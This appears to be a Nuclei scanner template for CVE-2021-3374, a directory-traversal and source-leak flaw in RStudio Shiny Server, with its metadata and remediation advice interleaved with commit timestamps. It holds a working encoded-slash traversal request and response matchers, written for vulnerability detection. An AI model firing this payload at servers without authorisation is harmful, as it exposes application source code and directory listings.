2021-04-14 20:56:03 +00:00
id : CVE-2021-3374
info :
2022-07-26 13:45:11 +00:00
name : Rstudio Shiny Server <1.5.16 - Local File Inclusion
2021-04-14 20:56:03 +00:00
author : geeknik
severity : medium
2022-07-26 13:45:11 +00:00
description : Rstudio Shiny Server prior to 1.5.16 is vulnerable to local file inclusion and source code leakage. This can be exploited by appending an encoded slash to the URL.
2023-09-06 12:09:01 +00:00
remediation : |
Upgrade Rstudio Shiny Server to version 1.5.16 or later to mitigate the vulnerability.
2022-04-22 10:38:41 +00:00
reference :
2022-05-17 09:18:12 +00:00
- https://github.com/colemanjp/shinyserver-directory-traversal-source-code-leak
- https://blog.rstudio.com/2021/01/13/shiny-server-1-5-16-update/
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-3374
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
2022-04-22 10:38:41 +00:00
cvss-score : 5.3
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-3374
cwe-id : CWE-22
2023-07-11 19:49:27 +00:00
epss-score : 0.00195
2023-10-25 17:36:19 +00:00
epss-percentile : 0.57089
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:a:rstudio:shiny_server:*:*:*:*:pro:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : rstudio
product : shiny_server
tags : cve,cve2021,rstudio,traversal
2021-04-14 20:56:03 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-04-14 20:56:03 +00:00
- method : GET
path :
- "{{BaseURL}}/%2f/"
- "{{BaseURL}}/sample-apps/hello/%2f/"
matchers-condition : and
matchers :
- type : word
words :
- "Index of /"
2023-07-11 19:49:27 +00:00
2021-04-14 20:56:03 +00:00
- type : regex
part : body
regex :
- "[A-Za-z].*\\.R"
2023-07-11 19:49:27 +00:00
- type : status
status :
- 200
2023-10-26 12:01:43 +00:00
# digest: 490a00463044022021d71c959eb7efd541a06bc980203eb09792f16bdfeea8f9c8301d62b083119e02206fc04768f038abf5970561421c4b2e471ea00d04d43a175ef7855219b61b7dbf:922c64590222798bb761d5b6d8e72950